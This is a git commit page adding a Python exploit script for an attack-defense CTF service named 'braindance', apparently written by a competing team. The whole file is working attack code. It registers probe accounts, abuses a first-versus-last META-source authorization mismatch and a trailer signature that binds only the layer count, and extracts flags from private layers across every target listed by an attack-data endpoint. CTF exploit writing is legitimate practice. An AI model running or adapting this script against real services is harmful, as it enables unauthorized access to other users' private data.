Add braindance private-channel exploit
This commit is contained in:
1 parent
f944f8abfe
commit
4d3e2ddddc
1 file changed
+214
@@ -0,0 +1,214 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
"""Exploit braindance private-channel bugs on an authorized CTF target.
|
||||||
|
|
||||||
|
The probe covers two historical implementation mistakes:
|
||||||
|
|
||||||
|
* using the first META source for authorization and the last one for remix
|
||||||
|
inheritance;
|
||||||
|
* signing only the number of requested trailer layers instead of their names.
|
||||||
|
|
||||||
|
It prints only confirmed private-layer flag hits. ``--all`` uses the team's
|
||||||
|
attack-data endpoint and skips the local target when requested.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import hashlib
|
||||||
|
import hmac
|
||||||
|
import itertools
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
import secrets
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
from urllib.parse import urlsplit, urlunsplit
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
|
||||||
|
PORT = 5000
|
||||||
|
TIMEOUT = 8
|
||||||
|
ATTACK_DATA_URL = "http://111.88.219.93/attack_data"
|
||||||
|
PRIVATE_LAYERS = ("thermal", "emotion")
|
||||||
|
FLAG_RE = re.compile(rb"\b[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
|
||||||
|
def service_url(target: str) -> str:
|
||||||
|
raw = target.strip()
|
||||||
|
if not raw:
|
||||||
|
raise ValueError("empty target")
|
||||||
|
if "://" not in raw:
|
||||||
|
raw = f"http://{raw}"
|
||||||
|
parsed = urlsplit(raw)
|
||||||
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||||
|
raise ValueError("expected HTTP target")
|
||||||
|
if parsed.path not in {"", "/"} or parsed.query or parsed.fragment:
|
||||||
|
raise ValueError("target must be a host, URL, or URL with no path")
|
||||||
|
port = parsed.port or PORT
|
||||||
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||||
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")).rstrip("/")
|
||||||
|
|
||||||
|
|
||||||
|
def attack_record_ids(data: dict, target: str) -> list[str]:
|
||||||
|
seen: set[str] = set()
|
||||||
|
result: list[str] = []
|
||||||
|
for row in data.get("braindance", {}).get(target, []):
|
||||||
|
record_id = str(row.get("record", ""))
|
||||||
|
if record_id and record_id not in seen:
|
||||||
|
seen.add(record_id)
|
||||||
|
result.append(record_id)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def flag_hits(raw: bytes) -> list[str]:
|
||||||
|
return sorted({match.decode("ascii") for match in FLAG_RE.findall(raw)})
|
||||||
|
|
||||||
|
|
||||||
|
def decode_layer(encoded: str) -> bytes | None:
|
||||||
|
try:
|
||||||
|
return base64.b64decode(encoded, validate=True)
|
||||||
|
except (TypeError, ValueError):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def json_response(response: requests.Response) -> dict:
|
||||||
|
try:
|
||||||
|
data = response.json()
|
||||||
|
except ValueError as exc:
|
||||||
|
response.raise_for_status()
|
||||||
|
raise RuntimeError(f"non-JSON response ({response.status_code})") from exc
|
||||||
|
if not response.ok:
|
||||||
|
raise RuntimeError(f"HTTP {response.status_code}: {data}")
|
||||||
|
if not isinstance(data, dict):
|
||||||
|
raise RuntimeError("expected JSON object")
|
||||||
|
return data
|
||||||
|
|
||||||
|
|
||||||
|
def state_path(base: str) -> Path:
|
||||||
|
key = hashlib.sha256(base.encode("utf-8")).hexdigest()[:16]
|
||||||
|
return Path("/tmp") / f"braindance-private-{key}.json"
|
||||||
|
|
||||||
|
|
||||||
|
def register(session: requests.Session, base: str) -> tuple[str, str]:
|
||||||
|
username = f"probe_{secrets.token_hex(5)}"
|
||||||
|
data = json_response(session.post(
|
||||||
|
f"{base}/register",
|
||||||
|
json={"username": username, "bio": "authorized ctf probe"},
|
||||||
|
timeout=TIMEOUT,
|
||||||
|
))
|
||||||
|
return data["username"], data["token"]
|
||||||
|
|
||||||
|
|
||||||
|
def source_ids(session: requests.Session, base: str, target: str) -> list[str]:
|
||||||
|
attack_data = json_response(session.get(ATTACK_DATA_URL, timeout=TIMEOUT))
|
||||||
|
ids = attack_record_ids(attack_data, target)
|
||||||
|
if ids:
|
||||||
|
return ids
|
||||||
|
gallery = json_response(session.get(f"{base}/gallery?limit=200", timeout=TIMEOUT))
|
||||||
|
return [str(row["id"]) for row in gallery.get("records", []) if row.get("id")]
|
||||||
|
|
||||||
|
|
||||||
|
def inherited_flag_hits(session: requests.Session, base: str, source: str) -> list[dict[str, str]]:
|
||||||
|
body = f"BDv1\nMETA source=-\nMETA source={source}\n"
|
||||||
|
response = session.post(
|
||||||
|
f"{base}/records",
|
||||||
|
data=body,
|
||||||
|
headers={"Content-Type": "text/plain"},
|
||||||
|
timeout=TIMEOUT,
|
||||||
|
)
|
||||||
|
if response.status_code in (403, 404):
|
||||||
|
return []
|
||||||
|
created = json_response(response)
|
||||||
|
record = json_response(session.get(f"{base}/records/{created['id']}", timeout=TIMEOUT))
|
||||||
|
hits = []
|
||||||
|
for layer, encoded in (record.get("layers") or {}).items():
|
||||||
|
if layer not in PRIVATE_LAYERS:
|
||||||
|
continue
|
||||||
|
raw = decode_layer(encoded)
|
||||||
|
if raw is not None:
|
||||||
|
hits.extend({"vector": "meta-remix", "source": source, "layer": layer, "flag": flag} for flag in flag_hits(raw))
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
def trailer_flag_hits(session: requests.Session, base: str, source: str) -> list[dict[str, str]]:
|
||||||
|
response = session.get(f"{base}/records/{source}", timeout=TIMEOUT)
|
||||||
|
if response.status_code == 404:
|
||||||
|
return []
|
||||||
|
record = json_response(response)
|
||||||
|
trailer = record.get("trailer") or {}
|
||||||
|
signature = str(trailer.get("sig", ""))
|
||||||
|
public_count = len([name for name in str(trailer.get("layers", "")).split(",") if name])
|
||||||
|
if not signature or not 1 <= public_count <= len(PRIVATE_LAYERS):
|
||||||
|
return []
|
||||||
|
hits = []
|
||||||
|
for names in itertools.combinations(PRIVATE_LAYERS, public_count):
|
||||||
|
layers = ",".join(names)
|
||||||
|
response = session.get(
|
||||||
|
f"{base}/trailer/{source}",
|
||||||
|
params={"layers": layers, "sig": signature},
|
||||||
|
timeout=TIMEOUT,
|
||||||
|
)
|
||||||
|
if response.status_code in (403, 404):
|
||||||
|
continue
|
||||||
|
data = json_response(response)
|
||||||
|
for layer, encoded in (data.get("layers") or {}).items():
|
||||||
|
if layer not in PRIVATE_LAYERS:
|
||||||
|
continue
|
||||||
|
raw = decode_layer(encoded)
|
||||||
|
if raw is not None:
|
||||||
|
hits.extend({"vector": "trailer-signature", "source": source, "layer": layer, "flag": flag} for flag in flag_hits(raw))
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
def scan_target(target: str) -> list[dict[str, str]]:
|
||||||
|
base = service_url(target)
|
||||||
|
session = requests.Session()
|
||||||
|
session.trust_env = False
|
||||||
|
username, token = register(session, base)
|
||||||
|
session.headers["Authorization"] = f"Bearer {token}"
|
||||||
|
hits = []
|
||||||
|
for source in source_ids(session, base, target):
|
||||||
|
try:
|
||||||
|
hits.extend(inherited_flag_hits(session, base, source))
|
||||||
|
hits.extend(trailer_flag_hits(session, base, source))
|
||||||
|
except (KeyError, RuntimeError, requests.RequestException):
|
||||||
|
continue
|
||||||
|
# Keep the account state available for a later run without exposing the token in stdout.
|
||||||
|
state_path(base).write_text(json.dumps({"username": username}), encoding="utf-8")
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
|
parser.add_argument("target", nargs="?", help="one target host or URL")
|
||||||
|
parser.add_argument("--all", action="store_true", help="scan every braindance target from attack-data")
|
||||||
|
parser.add_argument("--skip", action="append", default=[], help="target to skip; repeatable")
|
||||||
|
args = parser.parse_args()
|
||||||
|
if args.all == bool(args.target):
|
||||||
|
parser.error("provide TARGET or --all")
|
||||||
|
|
||||||
|
if args.all:
|
||||||
|
data = requests.get(ATTACK_DATA_URL, timeout=TIMEOUT).json()
|
||||||
|
targets = sorted(set(data.get("braindance", {})) - set(args.skip))
|
||||||
|
else:
|
||||||
|
targets = [args.target]
|
||||||
|
|
||||||
|
total = 0
|
||||||
|
for target in targets:
|
||||||
|
try:
|
||||||
|
hits = scan_target(target)
|
||||||
|
except (KeyError, RuntimeError, ValueError, requests.RequestException) as exc:
|
||||||
|
print(f"{target}: error: {exc}", file=sys.stderr)
|
||||||
|
continue
|
||||||
|
for hit in sorted({tuple(sorted(item.items())) for item in hits}):
|
||||||
|
print(json.dumps(dict(hit), sort_keys=True))
|
||||||
|
total += 1
|
||||||
|
print(f"{target}: confirmed_private_flag_hits={len(hits)}", file=sys.stderr)
|
||||||
|
return 0 if total else 1
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
Reference in new issue
Block a user